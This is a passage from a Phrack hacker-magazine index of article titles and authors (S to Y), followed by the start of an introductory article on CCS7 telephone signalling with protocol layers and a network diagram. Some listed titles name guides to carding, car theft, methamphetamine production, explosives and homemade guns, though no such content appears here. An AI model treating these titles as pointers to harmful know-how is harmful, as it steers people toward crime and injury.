        "My Bust Part I" 1993. I43 F12 56k
        "My Bust Part II" 1993. I43 F13 55k
"Rolm Systems" by Monty Python. 1986. I3 F2 11k
route authored
        "Juggernaut"(linux tool) 1997. I50 F6 123k
"The Royal Court [from Metal Shop Private BBS]" 1988. I20 F10 3k
"RSTS" by Crimson Death. 1990. I32 F9 23k

RSTS OPERATING SYSTEM
   "Hacking RSTS" by Data Line. 1985. I2 F8 4k
   "Hacking RSTS Part 1" by The Seker. 1986. I7 F5 12k
   "Programming RSTS/E File2: Editors" by Solid State. 1986. I9 F4 13k
   "RSTS" by Crimson Death. 1990. I32 F9 23k

"Running a BBS on X.25" by Seven Up. 1994. I45 F8 15k
Ryche authored
        "Hacking Chilton's Credimatic" 1986. I7 F4 8k


                                   ** S **


The $muggler authored
        "Coin Box Thief Wanted" (PWN) 1987. I16 F12 2k
        "'Illegal' Hacker Crackdown" (PWN) 1988. I17 F11 5k
        "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
        "Social Engineering [from Metal Shop Private BBS]" 1988. I20 F8 19k
"Safe and Easy Carding" by VaxBuster 1993. I44 F20 18k
"SAM Security" by Spitfire Hacker. 1985. I1 F2 2k
"Sara Gordon -vs- Kohntark Part I" by The Editor. 1993. I44 F11 12k
"Sara Gordon -vs- Kohntark Part II" by The Editor. 1993. I44 F12 47k
"Satellite Communications" by Scott Holiday. 1988. I21 F5 9k
Scan Man authored 
        "Scan Man's Rebuttal to Phrack World News" 1987. I12 F9 17k
"Scan Man's Rebuttal to Phrack World News" by Scan Man. 1987. I12 F9 17k
"School/College Computer Dial-Ups" by Phantom Phreaker. 1985. I1 F8 4k
Scott Holiday authored 
        "Satellite Communications" 1988. I21 F5 9k
Scott Simpson authored
        "Hacking AT&T System 75" 1992. I41 F6 20k
"Screwing Over Your Local McDonalds" by Charlie X. 1994. I45 F19. 20k
"Searching for speciAL acceSs agentS" by Dr. Dude. 1991. I36 F7 18k
"Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
"Security Guidelines" by Various Sources. 1994. I45 F10 55k
"Security Shortcomings of AppleShare Networks" by Bobby Zero. 1992. I41 F9 16k
The Seker authored
        "Radio Hacking" 1986. I5 F8 3k
        "Hacking RSTS Part 1" 1986. I7 F5 12k
        "Sending Fakemail in Unix" by Dark Overlord. 1989. I27 F8 2k
"The Senator Markey Hearing Transcripts" by >Unknown User<. I45 F20 72k
Sendai authored
        "Keytrap Revisisted" 1996. I48 F12 13k
Seven Up authored
        "Running a BBS on X.25" 1994. I45 F8 15k
        "The ABCs of Better Hotel Staying" 1994. I46 F25 12k
"Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" by
 Knight Lightning. 1988. I21 F3 26k
Shadow Hawk 1 was Pro-Philed in 1992. I39 F3 8k
The Shining authored
        "Unix Hacking - Tools of The Trade" 1994. F11 42k
Shooting Shark authored
        Introduction/Index for I15,17 F1 2k
        "More Stupid Unix Tricks" 1987. I15 F2 10k
        "Nasty Unix Tricks" 1986. I6 F5 4k
        "Shadow Hawk Busted Again" 1987. I16 F11 2k
        "Social Security Number Formatting" 1988. I19 F4 3k
        "Trojan Horses in Unix" 1986. I7 F7 13k
Shooting Shark Pro-Philed in 1991 I33 F2 6k
Sideshow Bob authored
        "PC Application Level Security" 1997. I50 F12 21k
Signal Substain authored
        "Nitrogen-Trioxide Explosive" 1988. I17 F4 7k
"Signalling Systems Around The World" by Data Line. 1986. I3 F4 2k
"Simple Data Encryption or Digital Electronics 101" by The Leftist. 1987.
 I11 F5 4k
Sir Francis Drake authored
        "Phrack World News" 1987. I15 F8 6k
        "Bust Update" (PWN) 1988. I17 F11 3k
        "Phreaks in Verse" 1987. I13 F5 3k
Sir Hackalot authored 
        "Unix 'Nasties'" 1990. I32 F5 32k
Skylar authored
        "Sprintnet Directory Part 1/3" 1992. I42 F8 49k
        "Sprintnet Directory Part 2/3" 1992. I42 F9 45k
        "Sprintnet Directory Part 3/3" 1992. I42 F10 46k
"Skytel Paging and Voicemail" by pbxPhreak. 1997. I50 F10 36k
S. Leonardo Spitz authored
        "Phrack Pro-Phile on Chris Goggens" 1991. I35 F3 20k
"Smashing The Stack For Fun And Profit" by Aleph1. 1996. I49 F14 66k
"Smoke Bombs" by Alpine Cracker. 1986. I6 F6 2k
"SNMP insecurities" by alhambra. 1997. I50 F7 20k
"SS7 Diverter plans" by Mastermind. 1997. I50 F9 27k
Steve Fleming authored
        "The Truth...and Nothing but the Truth" 1996. I48 F16 19k
"Social Security Numbers & Privacy" by Chris Hibbert of CPSR. 1991. I35 F6 13k
Solid State authored 
        "Programming RSTS/E File2: Editors" 1986. I9 F4 13k
The Sorceress authored
        "Accessing Government Computers" 1988. I17 F7 9k
        "Cracker are Cheating Bell" (PWN) 1988. I17 F12 8k
        "SPAN: Space Physics Analysis Network" by Knight Lightning. 1989.
         I25 F4 47k
"Social Security Number Formatting" by Shooting Shark. 1988. I19 F4 3k
"South Western Bell Lineman Word Codes" by Icon. 1997. I49 F11 18k
Sovereign Immunity authored
        "Sting Operations" 1991. I35 F5 6k
"Special Area Codes" by >Unknown User<. 1989. I24 F8 27k
Spirit Walker co-authored
        "Phrack World News" Part 1-4 1992 I37 F11-14 31,30,29,31k
Spitfire Hacker authored 
        "SAM Security" 1985. I1 F2 2k
Split Decision authored 
        "Phone Bugging: Telecom's Underground Industry" 1989. I26 F7 7k
"Sprintnet Directory Part 1/3" by Skylar. 1992. I42 F8 49k
"Sprintnet Directory Part 2/3" by Skylar. 1992. I42 F9 45k
"Sprintnet Directory Part 3/3" by Skylar. 1992. I42 F10 46k
Spy Ace authored
        "Step by Step Guide to Stealing a Camaro" 1993. I43 F20 21k
"Standing up to Fight The Bells" by Knight Lightning. 1992. I38 F10 27k
"Startalk" by The Red Skull. 1994. I46 F18 21k
Static authored
        "Information About NT's FMT-150/B/C/D" 1996. I48 F9 22k
"Steganography Improvement Proposal" by cjml. 1996. I49 F10 6k
Stephane Bausson authored
        "Electronic Telephone Cards(Part 1)" 1996. I48 F10 39k
        "Electronic Telephone Cards(Part 2)" 1996. I48 F11 66k        
"Step by Step Guide to Stealing a Camaro" by Spy Ace. 1993. I43 F20 21k
"Sting Operations" by Sovereign Immunity. 1991. I35 F5 6k
"Subdivisions (Part 3 of The Vicious Circle Trilogy)" by Knight Lightning.
 1989. I23 F3 17k                                                
Substance authored
        "The Complete Guide to Hacking Meridian Voice Mail" 1995. I47 F15 10k
"SummerCon 1992" by Knight Lightning and Dispater. 1992. I40 F11 35k
Suppernigger was Pro-Philed in 1992. I41 F3 10k
Synapse authored
        "Datapac" 1993. I44 F21 36k
SynThecide authored
        "Covert Paths" (co-authored) 1989. I29 F5 4k
        "Hacking and Tymnet" 1989. I30 F3 20k
Szechuan Death authored
        "Legal Info" 1994. I46 F9 13k


                                   ** T **


"10th Chaos Computer Congress" by Manny E. Farber. 1994. I45 F13 23k
"TAC Info" no author. 1985. I2 F5 14K
"TAMS & Telenet Security" by Phreak_Accident. 1990. I31 F4 7k
"Tandy/Radio Shack Cellular Phones" by Damien Thorn. 1996. I48 F7 43k
"Tapping Telephone Lines" by Agent Steal. 1987. I16 F6 9k
Taran King authored
        "AIS - Automatic Intercept System" 1987. I11 F6 16k
        "Bell Network Switching Systems" 1989. I25 F3 16k
        "Breaching and Clearing Obstacles" 1986. I4 F5 7k
        "Computer-Based Systems for Bell System Operation" 1989. I26 F2 38k
        Introduction/Indexes for I1-2,5-13 F1
        Introduction/Indexes (co-authored) for I20-30 F1
        "Introduction of Phrack" 1985. I1 F1 2k
        "Network Miscellany" 1989. I28 F4 30k
        "Network Miscellany II" 1989. I29 F4 35k
        "Network Miscellany III" 1989. I30 F2 21k
        "Operating The VM/SP CP" 1989. I27 F2 38k
        "Phrack Pro-Phile of Broadway Hacker" 1986. I5 F2 5k
        "Phrack Pro-Phile of Scan Man" 1986. I7 F2 7k
        "Phrack Pro-Phile Featuring Chanda Leir" 1989. I24 F2 6k
        "Phrack Pro-Phile Featuring The Mentor" 1989. I23 F2 7k
        "Phrack Pro-Phile Featuring Terminus" 1987. I14 F2 7k
        "Phrack Pro-Phile on Agrajag The Prolonged" 1987. I12 F2 7k
        "Phrack Pro-Phile on Crimson Death" 1986. I4 F1
        "Phrack Pro-Phile on Dave Starr" 1987. I10 F2 8k
        "Phrack Pro-Phile on Emanuell Goldstein" 1989. I29 F2 16k
        "Phrack Pro-Phile on Erik Bloodaxe" 1989. I28 F2 15k
        "Phrack Pro-Phile on Karl Marx" (co-authored) 1988. I22 F2 9k
        "Phrack Pro-Phile on Lex Luthor" 1992. I40 F3 36k
        "Phrack Pro-Phile on Modem Master" 1988. I21 F2 6k
        "Phrack Pro-Phile on The Nightstalker" 1986. I9 F2 6k
        "Phrack Pro-Phile on Taran King" 1988. I20 F2 14k
        "Phrack Pro-Phile on Tuc" 1986. I8 F2 6k
        "Phrack Pro-Phile on Wizard of Arpanet" 1987. I11 F2 7k
        "Phrack World News" (co-authored) 1988. I22 F9 25k-12
        "The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
        "Universal Informational Services via ISDN" 1985. I2 F6 6K
   co-authored
        "Network Management Center" (co-authored) 1988. I21 F6 13k
        "SummerCon 1992"(co-authored) 1992. I40 F11 35k
        "Real Phreaker's Guide Vol. 2" (co-authored) 1987. I13 F2 5k
        "25th Anniversary Index" (co-authored). 1989. I25 F2 15k
        "Welcome to Metal Shop Private" (co-authored) 1988. I20 F4 37k
"TCP/IP: A Tutorial Part 1 of 2" by The Not. 1991 I33 F8 28k
"TCP/IP: A Tutorial Part 2 of 2" by The Not. 1991 I34 F8 39k
"TCP port Stealth Scanning" by Uriel I49 F15 32k
"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
"The Technical Revolution" by Dr. Crash. 1986. I6 F3 4k
"The Tele-Pages" by Jester Sluggo. 1988. I21 F4 37k

TELENET  see X.25 PACKET SWITCHING NETWORKS

"Telenet/Sprintnets PC Pursuit Outdial Directory" by Amadeus. 1991. I35 F4 90k
"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
"Telephone Signalling Methods" by Doom Prophet. 1987. I11 F8 7k

TELEPHONE SWITCHING EQUIPMENT AND METHODS
   "Bell Network Switching Systems" by Taran King. 1989. I25 F3 16k
   "Digital Multiplexing Systems (Part 2)" by Control C. 1988. I19 F3 18k
   "DMS-100" by Knight Lightning. 1986. I5 F5 8k
   "Facility Assignment & Control Systems" by Phantom Phreaker. 1988.
      I19 F5 11k
   "NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993. I44 F13 16k
   "Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
   "Signalling Systems Around The World" by Data Line. 1986. I3 F4 2k
   "Telephone Signalling Methods" by Doom Prophet. 1987. I11 F8 7k
   "The Universal Data Convertor" by Maldoror. 1994. I45 F21 45k
   "Understanding The Digital Multiplexing System (DMS)" by Control C. 1987.
      I12 F4 19k
   "Understanding DMS Part II" by Control C. 1987. I14 F5 18k


The Man authored
        "Your New Windows Background (Part 1)"<unencoded> 1995. I47 F17 39k
        "Your New Windows Background (Part 2)"<unencoded> 1995. I47 F18 46k
"The Truth...and Nothing but the Truth" by Steve Fleming. 1996. I48 F16 19k
Thomas Covenant authored
        "How to Fuck Up The World - A Parody" 1987. I13 F3 10k
   co-authored
        "How to Build a Paisley Box" 1987. I13 F4 5k
Thumpr authored 
        "Big BroTher Online" 1989. I23 F10 8k
"Timeline Featuring Taran King, Knight Lightning, and Cheap Shades" 1988.
 I20 F2
"The TMC Primer" by Cap'n Crax. 1987. I10 F3 6k
Tom Brokow authored
        "Credit Card Laws" 1987. I16 F5 7k
Toucan Jones authored
        "BT Tymnet, Part 1/3" 1992. I40 F8 57k
        "BT Tymnet, Part 2/3" 1992. I40 F9 55k
        "BT Tymnet, Part 3/3" 1992. I40 F10 91k
"The Total Network Data System" by Doom Prophet. 1987. I12 F5 13k
Treason authored
        "An Overview of Pre-Paid Calling Cards" 1995. I47 29k        
"The Tried and True Home Production Method for Methamphetamine"
 by The Leftist. 1986. I4 F8 7k
The Trunk Terminator authored
        "International Toll Free Code List" 1991 I33 F6 15k
"A Trip to The NCSC" by Knight Lightning. 1990. I32 F7 16k
"Trojan Horses in Unix" by Shooting Shark. 1986. I7 F7 13k
"The Truth About Lie Detectors" by Razor's Edge. 1989. I30 F9 15k
"TRW Business Terminology" by Control C. 1987. I14 F6 5k
TTY-Man co-authored 
        "Multi-User Chat Program for DEC-10's" 1986. I9 F7 7k
"TTY Spoofing by VaxBuster" 1992. I41 F8 20k
"25th Anniversary Index" by Knight Lightning, Taran King, and oTher friends.
   1989. I25 F2 15k
Twister Pair authored
        "Auto-Answer It" 1991. I35 F9 10k
TYMNET see X.25 PACKET SWITCHING NETWORKS
"Tymnet Diagnostic Tools" by Professor Falken. 1992. I42 F5 35k
"Tymnet Security Memo" by Anonymous. 1990. I31 F7 9k


                                   ** U **


"Understanding The Digital Multiplexing System (DMS)" by Control C. 1987.
   I12 F4 19k
"Understanding DMS Part II" by Control C. 1987. I14 F5 18k
"Universal Informational Services via ISDN" by Taran King. 1985. I2 F6 6K
"Unix Cracking Tips" by Dark Overlord. 1989. I25 F5 14k
"Unix for The Moderate" by Urvile. 1988. I18 F6 11k
"Unix 'Nasties'" by Sir Hackalot. 1990. I32 F5 32k

UNIX OPERATING SYSTEM
   "Hardwire Interfacing under Linux" by Professor. 1997. I50 F11 11k
   "Hiding Out Under Unix" by Black Tie Affair. 1989. I25 F6 9k
   "Introduction to CGI and CGI vulnerabilities" by G. Gilliss. 1996.
     I49 F8 12k
   "An In-Depth Guide in Hacking Unix" by Red Knight. 1988. I22 F5 35k
   "Juggernaut"(linux tool) by route. 1997. I50 F6 123k
   "Linux TTY hijacking" by halflife. 1997. I50 F5 15k
   "More Stupid Unix Tricks" by Shooting Shark. 1987. I15 F2 10k
   "Nasty Unix Tricks" by Shooting Shark. 1986. I6 F5 4k
   "Playing Hide and Seek, Unix Style" by Phrack Accident. 1993. I43 F14 31k
   "Sending Fakemail in Unix" by Dark Overlord. 1989. I27 F8 2k
   "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
   "Trojan Horses in Unix" by Shooting Shark. 1986. I7 F7 13k
   "Unix Cracking Tips" by Dark Overlord. 1989. I25 F5 14k
   "Unix for The Moderate" by Urvile. 1988. I18 F6 11k
   "Unix Hacking - Tools of The Trade" by The Shining. 1994. F11 42k
   "Unix 'Nasties'" by Sir Hackalot. 1990. I32 F5 32k
   "Unix System Security Issues" by Jester Sluggo. 1988. I18 F7 27k
   "Yet AnoTher File on Hacking Unix" by >Unknown User<. 1988. I22 F6 19k

"Unix Hacking - Tools of The Trade" by The Shining. 1994. F11 42k
"Unix System Security Issues" by Jester Sluggo. 1988. I18 F7 27k
>Unknown User< (Phrack's anonymous submitter alias) was used to tag
   "Centigram Voice Mail System Consoles"  1992. I39 F6 36k
   "The Senator Markey Hearing Transcripts" I45 F20 72k
   "Special Area Codes" 1989. I24 F8 27k
   "Tymnet Security Memo" 1990. I31 F7 9k
   "Yet AnoTher File on Hacking Unix" 1988. I22 F6 19k
"The Universal Data Convertor" by Maldoror. 1994. I45 F21 45k
Uriel authored
        "TCP port Stealth Scanning" I49 F15 32k        
Urvile authored
        "Unix for The Moderate" 1988. I18 F6 11k

USENET see WIDE AREA NETWORKS

"Useful Commands for The TP3010 Debug Port" by G. Tenet. 1992. I42 f7 28k
"Users Guide to VAX/VMS Part 1/3" by Black Kat. 1991. I35 F7  62k
"Users Guide to VAX/VMS Part 2/3" by BLack Kat. 1992. I37 F7 25k
"Users Guide to VAX/VMS Part 3/3" by Black Kat. 1992. I38 F7 46k
"Users Guide to XRAY" by NOD. 1992. I42 F6 11k
"Utopia; Chapter One of FTSaga" by Knight Lightning. 1989. I23 F4 20k

UUCP see WIDE AREA NETWORKS


                                   ** V **


Various Sources contributed to
        "Cellular Debug Mode Commands" 1994. I45 F26 13k
        "Conference News Part I" 1993. I43 F7 53k
        "Conference News part II" 1993. I43 F8 58k
        "Conference News Part I" 1993. I44 F6 55k
        "Conference News Part II" 1993. I44 F7 35k
        "Conference News Part III" 1993. I44 F8 50k
        "Defcon Information" 1995. I47 F9 28k
        "Defcon II Information" 1994. I45 F14 26k
        "HoHoCon"(review) 1992. I42 F13 51k
        "HoHoCon Miscellany" 1994. I45 F11 32k
        "HoHoCon Miscellany" 1995. I47 F12 33k
        "International Scene" 1993. I43 F26 51k
        "International Scene" 1993. I44 F26 25k
        "International Scene" 1994. I45 F27 63k 
        "International Scene" 1994. I46 F27 44k
        "International Scene" 1995. I47 F21 39k
        "International Scene" 1996. I48 F17 33k
        "Line Noise" 1997. I50 F3 72k
        "Security Guidelines" 1994. I45 F10 55k
        "VMS Information" 1994. I45 F15 34k
VaxCat authored
        "Lifting Ma Bell's Cloak of Secrecy" 1989. I24 F9 25k
VaxCat co-authored 
        "Can You Find Out If Your Telephone is Tapped?" 1989. I23 F9 20k
"VAX/VMS Fake Mail" by Jack T. Tabb. 1989. I30 F7 7k

VAX/VMS OPERATING SYSTEM
   "DCL BBS Program" by Raoul. 1994. I45 F16 23k
   "DCL Utilities for VMS Hackers" by The Mentor. 1988. I19 F2 23k
   "Getting Serious About VMS Hacking" by VAXBusters International. 1989.
      I23 F8
   "Inside The SYSUAF.DAT File" by Pain Hertz. 1990. I32 F8 16k
   "Users Guide to VAX/VMS Part 1/3" by Black Kat. 1991. I35 F7  62k
   "Users Guide to VAX/VMS Part 2/3" by Black Kat. 1992. I37 F7 25k
   "Users Guide to VAX/VMS Part 3/3" by Black Kat. 1992. I38 F7 46k
   "VAX/VMS Fake Mail" by Jack T. Tabb. 1989. I30 F7 7k
   "VMS Information" by Various Sources. 1994. I45 F15 34k
VaxBuster authored
        "TTY Spoofing" 1992. I41 F8 20k
        "Safe and Easy Carding" 1993. I44 F20 18k
VAXBusters International authored
        "Advanced BITNET Procedures" 1989. I24 F7 k
        "Getting Serious About VMS Hacking" 1989. I23 F8 13k

Vendetta authored 
        "The Postal Inspection Service" 1989. I27 F9 14k

Vince Niel authored
        "The Freedom of Information Act and You" 1992. I42 F12 42k
"VisaNet Operations Part I" by Ice Jey. 1994. I46 F15 50k
"VisaNet Operations Part 2" by Ice Jey. 1994. I46 F16 44k
Visionary authored
        "Visionary-The Story About Him" 1993. I44 F17 23k
"Visionary-The Story About Him" by Visionary. 1993. I44 F17 23k

VM/CMS OPERATING SYSTEM
   "A Beginner's Guide to The IBM VM/370" by Elric of Imryrr. I10 F4 4k
   "Hacking VM/CMS" by Goe. 1989. I30 F4 58k
   "Operating The IBM VM/SP CP" by Taran King. 1989. I27 F2 38k
   "VMS Information" by Various Sources. 1994. I45 F15 34k

VOICE MAIL SYSTEMS
   "Centigram Voice Mail System Consoles" by >Unknown User<. 1992. I39 F6 36k
   "The Complete Guide to Hacking Meridian Voice Mail" by Substance. 1995.
    I47 F15 10k
   "Fun With The Centagram VMS Network" by Oryan Quest. 1986. I9 F3 4k
   "Rolm Systems" by Monty Python. 1986. I3 F2 11k
   "Skytel Paging and Voicemail" by pbxPhreak. 1997. I50 F10 36k
   "Startalk" by The Red Skull. 1994. I46 F18 21k
   "Hacking Voice Mail Systems" by Black Knight from 713. 1987. I11 F4 6k
   "Hacking Voice Mail Systems" by Night Ranger. 1991. I34 F6 19k                                   

Voyager authored
        "The #hack FAQ (Part 1)" 1995. I47 F5 39k
        "The #hack FAQ (Part 2)" 1995. I47 F6 38k
        "The #hack FAQ (Part 3)" 1995. I47 F7 51k
        "The #hack FAQ (Part 4)" 1995. I47 F8 47k
        "Telephone Company Customer Applications" 1996. I49 F13 38k
Voyager was Pro-Philed in 1996. I48 F5 23k


                                   ** W **

WAREZ
  "A Day in The Life of a Warez Broker" by Xxxx Xxxxxxxx. 1995. I47 F20 13k
  "*ELITE* Access" by Dead Lord & Lord Digital(Lords Anonymous). 1991.
   I36 F5 43k
  "Pirate's Cove" by Rambone. 1992. I37 F3 8k
  "Pirate's Cove" by Rambone. 1992. I38 F3 23k
  "Pirate's Cove" by Rambone. 1992. I40 F5 57k
  "Pirate's Cove" by Rambone. 1992. I41 F5 32k
WEAPONS
   "Blowguns" by The Pyro. 1985. I2 F4 3K 3K
   "Building a Shock Rod" by Circle Lord. 1986. I3 F8 3k
   "Homemade Guns" by Man-Tooth. 1985. I2 F3 7k

"Welcome to Metal Shop Private" by Taran King, Knight Lightning, and
 Cheap Shades. 1988. I20 F4 37k
"Western Union Telex, TWX, and Time Service" by Phone Phanatic. 1989.
 I30 F10 13k
White Knight co-authored
        "Quentin Strikes Again" 1994. I45 F12 28k

WIDE AREA NETWORKS (Internet, BITNET, ArpaNET, Usenet, UUCP, TCP/IP, etc.)
   "Advanced BITNET Procedures" by VAXBusters International. 1989. I24 F7 k
   "Content-Blind Cancelbot" by Dr. Dimitri Vulis. I49 F9 40k     
   "Covert Paths" by Cyber Neuron Limited and SynThecide. 1989. I29 F5 4k
   "The DECWRL Mail Gateway" by Dedicated Link. 1989. I30 F5 23k
   "A Few Things About Networks" by Prime Suspect. 1988. I18 F9 21k
   "Foundations on The Horizon; Chapter Two of FTSaga" by Knight Lightning.
      1989. I23 F5 27k
   "Frontiers; Chapter Four of FTSaga" by Knight Lightning. 1989. I24 F4 25k
   "Future Trancendent Saga Index A" from The BITNET Services Library. 1989.
      I23 F6 14k
   "Future Trancendent Saga Index B" from The BITNET Services Library. 1989.
      I23 F7 17k
   "Internet Domains: FTSaga Appendix 3 (Limbo to Infinity)" by Phrack Inc.
      1989. I26 F8 20k
   "Introduction to The Internet Protocols I: Chapter Eight of The FTS" by
      Knight Lightning.  1989. I28 F3 39k
   "Introduction to The Internet Protocols II: Chapter Nine of The FTS" by
      Knight Lightning. 1989. I29 F3 43k
   "Introduction to The MIDNET: Chapter Seven of The FTS" by Knight Lightning.
      1989. I27 F3 35k
   "IP-Spoofing Demystified" by daemon9. 1996. I48 F13 25k
   "Limbo to Infinity; Chapter Three of FTSaga" by Knight Lightning. 1989.
      I24 F3
   "Network Management Center" by Knight Lightning and Taran King. 1988.
      I21 F6
   "Network Miscellany" by Racketeer. 1992. I40 F4 32k
   "Network Miscellany" by Racketeer. 1992. I41 F4 35k
   "Network Miscellany" by Taran King. 1989. I28 F4 30k
   "Network Miscellany II" by Taran King. 1989. I29 F4 35k
   "Network Miscellany III" by Taran King. 1989. I30 F2 21k
   "Network Miscellany IV" by Datastream Cowboy 1992. I38 F5 30k
   "Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
   "Network Progression" by Dedicated Link. 1989. I24 F10 5k
   "NSFnet: National Science Foundation Network" by Knight Lightning. 1989.
      I26 F4
   "Project Hades: TCP Weakness" by daemon9. 1996. I49 F7 38k
   "Project Loki: ICMP Tunneling" by daemon9/alhambra. 1996. I49 F7 38k
   "Project Neptune" by daemon9. 1996. I48 F13 52k
   "A Report on The Internet Worm" by Bob Page. 1988. I22 F8 16k
   "Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
   "SNMP insecurities" by alhambra. 1997. I50 F7 20k
   "SPAN: Space Physics Analysis Network" by Knight Lightning. 1989.
    I25 F4 47k   
   "TAC info" Unknown Author. 1985. I2 F5 14K
   "TCP/IP: A Tutorial Part 1 of 1" by The Not. 1991 I33 F8 28k
   "TCP/IP: A Tutorial Part 2 of 2" by The Not. 1991 I34 F8 39k
   "TCP port Stealth Scanning" by Uriel I49 F15 32k
   "Utopia; Chapter One of FTSaga" by Knight Lightning. 1989. I23 F4 20k
   "Wide Area Information Services" by Mycroft 1992. I38 F8 11k
   "Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
   "Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k

"Wide Area Information Services" by Mycroft 1992. I38 F8 11k
Wing Ding authored
        "The History ah MOD" 1991. I36 F4 23k
Winn Schwartau authored
        "Cyber Christ Meets Lady Luck Part I" 1994. I46 F19 45k
        "Cyber Christ Meets Lady Luck Part II" 1994. I46 F20 42k        
        "Cyber Christ Bites The Big Apple" 1994. I46 F23 60k        
White Knight co-authored
        "Exploring Information-America" 1992. I37 F4 51k
"Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
"Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k
"The Wonderful World of Pagers" by Erik Bloodaxe. 1994. I46 F8


                                   ** X **


X.25 PACKET SWITCHING NETWORKS (SprintNet, Telenet, Tymnet, X.121 etc.)
   "A Few Things About Networks" by Prime Suspect. 1988. I18 F9 21k
   "An Introduction to Packet Switched Networks" by Epsilon. 1988. I18 F3 12k
   "BT Tymnet, Part 1/3" by Toucan Jones. 1992. I40 F8 57k
   "BT Tymnet, Part 2/3" by Toucan Jones. 1992. I40 F9 55k
   "BT Tymnet, Part 3/3" by Toucan Jones. 1992. I40 F10 91k
   "Datapac" by Synapse. 1993. I44 F21 36k
   "Exploring Information-America" by The Omega & White Knight. 1992. I37 F4 51k
   "Hacking and Tymnet" by SynThecide. 1989. I30 F3 20k
   "Network Miscellany" by Racketeer. 1992. I40 F4 32k
   "Network Miscellany" by Racketeer. 1992. I41 F4 35k
   "Network Miscellany" by Taran King.  1989. I28 F4 30k
   "Network Miscellany II" by Taran King. 1989. I29 F4 35k
   "Network Miscellany III" by Taran King. 1989. I30 F2 21k
   "Network Miscellany IV" by Datastream Cowboy 1992. I38 F5 30k
   "Network Miscellany V" by Datastream Cowboy. 1992. I39 F4 34k
   "NUA List for Datex-P and X.25 Networks" by Oberdaemon. 1989. I27 F4 105k
   "Sprintnet Directory Part 1/3" by Skylar. 1992. I42 F8 49k
   "Sprintnet Directory Part 2/3" by Skylar. 1992. I42 F9 45k
   "Sprintnet Directory Part 3/3" by Skylar. 1992. I42 F10 46k
   "TAMS and Telenet Security" by Phreak_Accident. 1990. I31 F4 7k
   "Tymnet Diagnostic Tools" by Professor Falken. 1992. I42 F5 35k
   "Tymnet Security Memo" by Anonymous. 1990. I31 F7 9k
   "Wide Area Information Services" by Mycroft 1992. I38 F8 11k
   "Wide Area Networks Part 1" by Jester Sluggo. 1986. I5 F7 10k
   "Wide Area Networks Part 2" by Jester Sluggo. 1986. I6 F8 10k
Xxxx Xxxxxxxx authored
        "A Day in The Life of a Warez Broker" 1995. I47 F20 13k


                                   ** Y **


"Yet AnoTher File on Hacking Unix" by >Unknown User<. 1988. I22 F6 19k
"Your New Windows Background (Part 1)"<unencoded> by The Man. 1995. I47 F17 39k
"Your New Windows Background (Part 2)"<unencoded> by The Man. 1995. I47 F18 46k

 
----[  EOF


--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 15 of 17


-------------------------[  A Brief Introduction to CCS7


--------[  Narbo[SLF] <narbo@xeo.net>
  

			0o0o0o0o0o0o0o0o0o0o0o0o0
                        o     Introduction      o
			0o0o0o0o0o0o0o0o0o0o0o0o0

	Every day it seems that the telcos introduce some funky new calling 
feature to make your life easier.  I'm sure at one point or another you've 
probably wondered exactly how all of these calling features work.  The 
answer?  Common Channel Interoffice Signaling or CCS7. 

	CCS7 is somewhat analogous to TCP/IP in that it is a protocol that
allows networked computers (in this case telephone switches) to talk to each 
other.  It maps onto the OSI 7 Layer Reference Model model as such: 

	---------------    ------------------------------
         Application 7      OMAP | ASE |
        ---------------    -------------
        Presentation 6         TCAP    |
        ---------------    -------------
           Session   5                 |
        ---------------                |     ISDN-UP
         Transport   4                 |
        ---------------    --------------
                                SCCP     |
           Network   3     ------------------------------
                                    MTP Level 3
        ---------------    ------------------------------
          Data Link  2              MTP Level 2
        ---------------    ------------------------------
          Physical   1              MTP Level 1
        ---------------    ------------------------------

Legend:

	OMAP: Operations, Maintenance and Administration Part
	ASE : Application Service Layer
	TCAP: Transaction Capabilities Application Part
	SCCP: Signaling Connection Control Part
     ISDN-UP: Integrated Systems Digital Network User Part
	MTP : Message Transfer Part

	This article will provide an introduction to how the network is
set up, how messaging is done, and a brief example of a call setup/takedown. 

			0o0o0o0o0o0o0o0o0o0o0o0o0
			o	History		o
			0o0o0o0o0o0o0o0o0o0o0o0o0

	AT&Ts introduction of CCIS (Common Channel Interoffice Signaling)
in 1976 brought a radical change to the way signaling was handled.  Before
the advent of CCIS all signaling was done in band using the same trunks that
would be used for customer conversations.  Instead of sending all information
over the voice circuits (trunks) a new network was created specifically for
signaling.

	AT&T began immediate deployment of CCIS technology and the CCITT
(Consultative Committee for International Telephone and Telegraph) adopted it 
as an international standard called SS6 (Signaling System 6).  The current 
version of the protocol is CCS7 (Common Channel Signaling System 7) and is 
prevalent throughout North America.

			0o0o0o0o0o0o0o0o0o0o0o0o0
			o       Switches  	o
			0o0o0o0o0o0o0o0o0o0o0o0o0

CCS7 networks are based on a mesh of links connecting switches like the
following:


    ###(SP)       {SCP}---A---[STP] -B-- [STP]
    #    |                   /  | \      / |  \ 
    #    F                  /   |   \  /   |   \
    #    |                 /    C    BB    C    \                   ###########
    ###(SSP)              D     |  /    \  |     \                  #         #
    #    |   \           /    [STP] -B-- [STP]    D               (SSP)---F   #
    #    A     A        /    /           /    \    \               A      |   #
    #    |       \     /    /           A      \    \              |      |   #
    #  [STP] --B- [STP]    /           /        \    [STP] --B- [STP]-A-(SSP)##
    #    | \      / |     D         {SCP}        D     | \      / |       |   #
    #    |   \  /   |    /                        \    |   \  /   |       |   #
    #    C    BB    C   /                          \   C    BB    C       |   #
    #    |  /    \  |  /                            \  |  /    \  |       |   #
    #  [STP] --B- [STP]                              [STP] --B- [STP]     |   #
    #               |                                  |                  |   #
    #               |--(SSP)                           |--------E---------|   #
    #                    #                                                    #
    ###########################################################################

# = Trunks
